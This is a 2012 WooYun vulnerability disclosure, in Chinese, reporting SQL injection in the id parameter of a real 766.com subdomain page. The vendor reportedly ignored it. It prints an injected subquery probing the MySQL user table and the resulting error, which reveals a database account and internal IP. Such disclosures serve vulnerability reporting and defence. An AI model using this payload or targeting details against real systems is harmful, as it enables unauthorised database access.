漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-010827
漏洞标题：766.com分站存在注射
相关厂商：766.com
漏洞作者： cr0_3
提交时间：2012-08-12 14:54
修复时间：2012-09-26 14:54
公开时间：2012-09-26 14:54
漏洞类型：SQL注射漏洞
危害等级：低
自评Rank：2
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-08-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-09-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
766.com分站存在注射
详细说明：
http://get.766.com/go.php?id=3658
id存在注射。这个没有一起游的严重。数据库分离，网站也是分离。危害不是很大。
漏洞证明：
SQL: SELECT * FROM `x_realip` WHERE adid=3658 and (select count(*) from MySQL.user)>0# AND ip="27.16.212.76" LIMIT 1
Error: SELECT command denied to user 'getcommon'@'192.168.77.237' for table 'user'
Errno.: 1142
修复方案：
你懂的
版权声明：转载请注明来源 cr0_3@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝